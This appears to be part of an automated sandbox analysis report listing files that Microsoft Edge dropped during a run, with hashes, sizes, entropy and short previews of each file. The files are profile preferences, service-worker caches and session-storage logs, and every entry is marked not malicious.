SHA-256:	9612840E451A923E461F3E8C37FCAE8B00899BA7BDA7FFA8A71CFA70B3572B96
SHA-512:	0AE9FD0B12268B395ACC3A6212BB66A0833C72FD727B6084D18FF58EE01D45E6B70DD007DCD2AAE98153184B8CF64282E2974F00B149B00BA27A9D9E59279468
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374551249920236","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF42a48.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13244
Entropy (8bit):	5.220470013887028
Encrypted:	false
SSDEEP:	192:stKJ99QTryDiuabatSuypDsbsaFvrE9kSeBzHkK8dbV+FJ7QASUiPAYJ:stKPGQSu4DsbsCDkeobGdQYy
MD5:	0C908E9E0B8FCFE0AF7C4F1EBFC9EE71
SHA1:	3B16F1A883DC398F825189DE3045045A3D9B9101
SHA-256:	9612840E451A923E461F3E8C37FCAE8B00899BA7BDA7FFA8A71CFA70B3572B96
SHA-512:	0AE9FD0B12268B395ACC3A6212BB66A0833C72FD727B6084D18FF58EE01D45E6B70DD007DCD2AAE98153184B8CF64282E2974F00B149B00BA27A9D9E59279468
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374551249920236","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF453d9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13244
Entropy (8bit):	5.220470013887028
Encrypted:	false
SSDEEP:	192:stKJ99QTryDiuabatSuypDsbsaFvrE9kSeBzHkK8dbV+FJ7QASUiPAYJ:stKPGQSu4DsbsCDkeobGdQYy
MD5:	0C908E9E0B8FCFE0AF7C4F1EBFC9EE71
SHA1:	3B16F1A883DC398F825189DE3045045A3D9B9101
SHA-256:	9612840E451A923E461F3E8C37FCAE8B00899BA7BDA7FFA8A71CFA70B3572B96
SHA-512:	0AE9FD0B12268B395ACC3A6212BB66A0833C72FD727B6084D18FF58EE01D45E6B70DD007DCD2AAE98153184B8CF64282E2974F00B149B00BA27A9D9E59279468
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374551249920236","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF4b051.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13244
Entropy (8bit):	5.220470013887028
Encrypted:	false
SSDEEP:	192:stKJ99QTryDiuabatSuypDsbsaFvrE9kSeBzHkK8dbV+FJ7QASUiPAYJ:stKPGQSu4DsbsCDkeobGdQYy
MD5:	0C908E9E0B8FCFE0AF7C4F1EBFC9EE71
SHA1:	3B16F1A883DC398F825189DE3045045A3D9B9101
SHA-256:	9612840E451A923E461F3E8C37FCAE8B00899BA7BDA7FFA8A71CFA70B3572B96
SHA-512:	0AE9FD0B12268B395ACC3A6212BB66A0833C72FD727B6084D18FF58EE01D45E6B70DD007DCD2AAE98153184B8CF64282E2974F00B149B00BA27A9D9E59279468
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374551249920236","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340961151815957","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554741398414768
Encrypted:	false
SSDEEP:	768:XnshqPWWX7pLGLpo2W5wT3f48t8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPV6IrwdiZ:XsUPpRcpo2WaT3fNtu1jaMroH7qthFt1
MD5:	091B3C97B6A84EB051270EADC00FA570
SHA1:	E236E5646BE08173614A5BA521C46A3D8C46815C
SHA-256:	69D530114706E015395878F0851124C870937238296B37414348A6B804562FC4
SHA-512:	5DC8797E9E4B006F8396C5AD436833B534B316F1137A65B662BCEC61ECA6BCEAC8D7E7B1689067C4CE72EF8FD405D789EB785250A68C82B1DB9D4903854678ED
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374551249383239","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374551249383239","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF40d79.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	38626
Entropy (8bit):	5.554741398414768
Encrypted:	false
SSDEEP:	768:XnshqPWWX7pLGLpo2W5wT3f48t8F1+UoAYDCx9Tuqh0VfUC9xbog/OVPV6IrwdiZ:XsUPpRcpo2WaT3fNtu1jaMroH7qthFt1
MD5:	091B3C97B6A84EB051270EADC00FA570
SHA1:	E236E5646BE08173614A5BA521C46A3D8C46815C
SHA-256:	69D530114706E015395878F0851124C870937238296B37414348A6B804562FC4
SHA-512:	5DC8797E9E4B006F8396C5AD436833B534B316F1137A65B662BCEC61ECA6BCEAC8D7E7B1689067C4CE72EF8FD405D789EB785250A68C82B1DB9D4903854678ED
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374551249383239","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374551249383239","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2174
Entropy (8bit):	5.865146619875708
Encrypted:	false
SSDEEP:	24:F2xc5NmAcncmokCROulg2DJfRHT7CROulg2oSuGCROulg2D0RHTKCROulg2LRHT8:F2emRedDJfBidoH7dD0BTdLB4
MD5:	DBFC5AE79A38DEF01A0D084D2AF13BE1
SHA1:	4AD9136D983ECC7DB2A8AFCF29DC5AD66DC7B72D
SHA-256:	E007540D2D4FF8BE29AA5A20ABF0D213EDABB023C09B6E2808885675E1FC51D1
SHA-512:	2E54D93C6C63A688A68C47C8E2CDDD2931476389B5B39EF7EA79760C6C7957067EA97BF5970E20986843DD36E41E2860EA15B38B915739678B1153F9841EFB23
Malicious:	false
Preview:	....I................URES:0...INITDATA_NEXT_RESOURCE_ID.1..INITDATA_DB_VERSION.2g...1................INITDATA_NEXT_REGISTRATION_ID.1..INITDATA_NEXT_VERSION_ID.1.+INITDATA_UNIQUE_ORIGIN:https://ntp.msn.com/...REG:https://ntp.msn.com/.0......https://ntp.msn.com/edge/ntp...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=true .(.0.8......@...Z.b.....trueh..h..h..h..h..h..h..h..h..h..h.!p.x...............................REGID_TO_ORIGIN:0.https://ntp.msn.com/..RES:0.0.......https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayo

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	303
Entropy (8bit):	5.138190560371425
Encrypted:	false
SSDEEP:	6:1Ensx4M1N723oH+TcwtE/a252KLljqgq2PN723oH+TcwtE/a2ZIFUv:+DsaYeb8xLAgvVaYeb8J2FUv
MD5:	9072BB1C57B0F5F23A2B26746BDBE76A
SHA1:	7E90438CBF74F1C03485C741116025F877E6397B
SHA-256:	CD7533657D3A06A923AACE269AA9C9DC6C469F2112C53CA11505A3308BACBB74
SHA-512:	ABC204C315EC3AFDF5CB36A4A1290053393DBB1C0DE411FC7DB395C5DAF1B9C9805C1D2E4AAB071571A183157BD7435577670B4F70C1DC6CECE1D1EF74F29D24
Malicious:	false
Preview:	2024/10/27-21:07:39.930 1884 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database since it was missing..2024/10/27-21:07:40.009 1884 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	113142
Entropy (8bit):	5.5800930938401745
Encrypted:	false
SSDEEP:	1536:UU906yxPXfOxr1lhCe1A46rCjQ3NG4CDHjmIZwi8L/r4L/rtq:59LyxPXfOxr1lMe1Z6rFoDmThL/ML/0
MD5:	B376E39BEF0139ED49120C40A01C4B78
SHA1:	F127308DF8543788C7CA4F32DB37930B90E26BDF
SHA-256:	4DE2F55F31587EEC491B62D090728C9327FA6FB1DF62B2380C40631758F02304
SHA-512:	E178AD8450383504CBD841230E5109A611596C49F8C4A29B44802AA66ABD5F347F69BFF7D70F026A2DDFD716CF8381CCACFB2046BD8D5E01B54AEBFAB68248D5
Malicious:	false
Preview:	0\r..m..........rSG.....0!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var n in s)("object"==typeof exports?exports:e)[n]=s[n]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={exports:{}};return e[n](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	187249
Entropy (8bit):	6.3797824165734776
Encrypted:	false
SSDEEP:	3072:q2cJO0A4mv+wlTaiHmaXNdgXwwv+7VulFkh5L/dTUvuN:zv+wlvHF7x7VcGTL/2E
MD5:	3C4887495E3F129A9974F6D55C40964D
SHA1:	E5A5CE4883294948021D82686441ACF804B53EE2
SHA-256:	D4866224935FFF79251FF7636546C7A32AAEBDACDC666F8A55C66938057FD91C
SHA-512:	4AE457E24358F737A279729E976E107E511A196D1E68989A0F60E9BF59A94BF6823F63F4933BEA11F23BED37109B65C89AE5CB87F144CA451673DD1F5BF0F069
Malicious:	false
Preview:	0\r..m..........rSG.....0...../...............R......yT.........,T.8..`,.....L`.....,T...`......L`......Rc.$.E....exports...Rc~.......module....Rcv=o.....define....RbF.Db....amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v............*.........".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H......Q.Q.M.&...D...https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&navAgeMinutes=2880&networkTimeoutSeconds=5&ssrBasePageNavAgeMinutes=360&enableEmptySectionRoute=true&enableNavPreload=true&enableFallbackVerticalsFeed=true&noCacheLayoutTemplates=true&cacheSSRBasePageResponse=true&enableStaticAdsRouting=truea........Db............D`.....A..A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q...1.c................I`....Da.....O...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4.........../...-..........\....-..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.537634645982951
Encrypted:	false
SSDEEP:	3:3OJc9Xl/ld/lxE0tllnOhl:+JCu0Az
MD5:	D55E7BFE678FAD5055013210DBD2DF05
SHA1:	4E87C652145022205426ED58F763F802DD302F63
SHA-256:	84B5A76187F39547396A0D6A190DB00C293BF9E262700C7E40F6D70E8BD3044E
SHA-512:	61E79820AFF9241F59AD657C7C82E7FE2A49C7B4A7A785A5E2D311B05B104D644331A1AD27F422AA436A909977BDA3D696FB9263588AC2C866CA3B0F90119BF4
Malicious:	false
Preview:	@......5oy retne.........................X....,.................1.`../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.537634645982951
Encrypted:	false
SSDEEP:	3:3OJc9Xl/ld/lxE0tllnOhl:+JCu0Az
MD5:	D55E7BFE678FAD5055013210DBD2DF05
SHA1:	4E87C652145022205426ED58F763F802DD302F63
SHA-256:	84B5A76187F39547396A0D6A190DB00C293BF9E262700C7E40F6D70E8BD3044E
SHA-512:	61E79820AFF9241F59AD657C7C82E7FE2A49C7B4A7A785A5E2D311B05B104D644331A1AD27F422AA436A909977BDA3D696FB9263588AC2C866CA3B0F90119BF4
Malicious:	false
Preview:	@......5oy retne.........................X....,.................1.`../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF41a99.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	72
Entropy (8bit):	3.537634645982951
Encrypted:	false
SSDEEP:	3:3OJc9Xl/ld/lxE0tllnOhl:+JCu0Az
MD5:	D55E7BFE678FAD5055013210DBD2DF05
SHA1:	4E87C652145022205426ED58F763F802DD302F63
SHA-256:	84B5A76187F39547396A0D6A190DB00C293BF9E262700C7E40F6D70E8BD3044E
SHA-512:	61E79820AFF9241F59AD657C7C82E7FE2A49C7B4A7A785A5E2D311B05B104D644331A1AD27F422AA436A909977BDA3D696FB9263588AC2C866CA3B0F90119BF4
Malicious:	false
Preview:	@......5oy retne.........................X....,.................1.`../.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	6267
Entropy (8bit):	3.406111138204232
Encrypted:	false
SSDEEP:	96:tRDJRMY6X9LiNwz3ZJu09FZp+iAO+diCrdZR1V/h5SLl9iSr7+1TEzSTI:W9LiNv09Lp+0qi2d//h5SLl9iSrqhEK
MD5:	C12918FCCCF864FF601C07E6F9729244
SHA1:	AD516FB59926579523D226D631291347FDCD31D0
SHA-256:	36778ADA8EC2951BFB25BB7CB0A7706EA5414E6F45B0AB675B3B4A8B766860F5
SHA-512:	C09ECF07D0BAFDD853FB46EDB7EEC9D8D87CE690144709B5F538CFB83A03A7E7C1EB2DF90C717151D91E41A8D8E48153B8CAA183513F18F5F9CC04C849CEB074
Malicious:	false
Preview:	*...#................version.1..namespace-..&f.................&f.................&f.................&f.................&f................-..b................next-map-id.1.Cnamespace-2a28c4ba_224c_471c_9990_63caadbe978e-https://ntp.msn.com/.0.Z'O6................map-0-shd_sweeper..{.".x.-.m.s.-.f.l.i.g.h.t.I.d.".:.".m.s.n.a.l.l.e.x.p.u.s.e.r.s.,.p.r.g.-.s.p.-.l.i.v.e.a.p.i.,.p.r.g.-.1.s.w.-.c.a.l.c.o.n.f.e.e.d.c.,.p.r.g.-.1.s.w.-.c.c.-.c.a.l.f.e.e.d.c.,.p.r.g.-.e.h.p.s.b.t.q.l.t.,.p.r.g.-.h.p.-.d.i.s.p.o.l.l.,.p.n.p.w.e.a.t.o.d.a.y.,.p.r.g.-.l.o.c.k.-.m.i.t.3.t.r.f.4.,.1.s.-.p.1.-.c.e.g.p.r.e.v.,.1.s.-.p.1.-.c.e.g.r.o.w.t.h.,.1.s.-.p.2.-.c.e.g.r.o.w.t.h.,.1.s.-.p.2.r.v.t.4.-.c.e.g.r.o.w.t.h.,.1.s.-.p.r.v.t.4.-.c.e.g.r.o.w.t.h.,.p.r.g.-.1.s.w.-.m.i.t.3.t.r.f.4.,.p.r.g.-.p.r.2.-.m.i.t.3.t.r.f.4.,.i.c.r.s.c.a.l.l.-.s.p.-.c.t.l.,.p.r.g.-.1.s.w.-.s.a.e.d.g.e._.i.t.3.t.1.,.p.r.g.-.1.s.w.-.s.a.-.d.n.n.-.t.r.a.f.f.i.c._.t.3.,.p.r.g.-.c.g.-.g.a.m.e.-.e.x.p.-.3.,.p.r.g.-.1.s.w.-.a.b.o.r.t.w.v.2.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.123322877158346
Encrypted:	false
SSDEEP:	6:1C9+q2PN723oH+TcwtrQMxIFUt8kv3JZmw+kB39VkwON723oH+TcwtrQMFLJ:Y4vVaYebCFUt8e3J/+43D5OaYebtJ
MD5:	4B37165054AC6A29F85D2AB039673C8D
SHA1:	4EDF3268FF84E4891CA3D419DCBC78799A54FC00
SHA-256:	02CF7A4313478EDD7D0AD2027F6E4347BD0EA2B2B45496A40F0E1C80284F6376
SHA-512:	7E4AC17FAE8F8BFBF5D4595A6214D0F495ACC7BF0ACE976C2D0906C788D07963E9F6ADC91E9A1827F06ECFC4062CF350A24E5AEF21FE8C4F3A952D366605B283
Malicious:	false
Preview:	2024/10/27-21:07:30.037 1db8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/27-21:07:30.038 1db8 Recovering log #3.2024/10/27-21:07:30.054 1db8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.123322877158346
Encrypted:	false
SSDEEP:	6:1C9+q2PN723oH+TcwtrQMxIFUt8kv3JZmw+kB39VkwON723oH+TcwtrQMFLJ:Y4vVaYebCFUt8e3J/+43D5OaYebtJ
MD5:	4B37165054AC6A29F85D2AB039673C8D
SHA1:	4EDF3268FF84E4891CA3D419DCBC78799A54FC00
SHA-256:	02CF7A4313478EDD7D0AD2027F6E4347BD0EA2B2B45496A40F0E1C80284F6376
SHA-512:	7E4AC17FAE8F8BFBF5D4595A6214D0F495ACC7BF0ACE976C2D0906C788D07963E9F6ADC91E9A1827F06ECFC4062CF350A24E5AEF21FE8C4F3A952D366605B283
Malicious:	false
Preview:	2024/10/27-21:07:30.037 1db8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/MANIFEST-000001.2024/10/27-21:07:30.038 1db8 Recovering log #3.2024/10/27-21:07:30.054 1db8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Session Storage/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sessions\Session_13374551251892351

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	3.792942130032225
Encrypted:	false
SSDEEP:	24:3eqHDfPQlyjtAPa4tspsAF4unxstLp3X2amEtG1Chq420J2MwVrQQKkOAM491:3eqHDfPuyjtAPa4tszF6Lp2FEkChp2qw
MD5:	B29E55FB474E76B9CDA1B6947FF1C68D
SHA1:	DC0B84D900E9766F632BF85F9A947879A91E671E
SHA-256:	09F905418890C285EDA9304983732C0A56184D49923F1A2A51D9742B14FA5A0F
SHA-512:	58E0DD8BF35F6699710740061ECBC89B94E649198ED7537EAA4D3765768C54EE53A50DF3F2339009F9D2838EAC534B940EFAC3C353B4B76A12F74EC861B69845
Malicious:	false
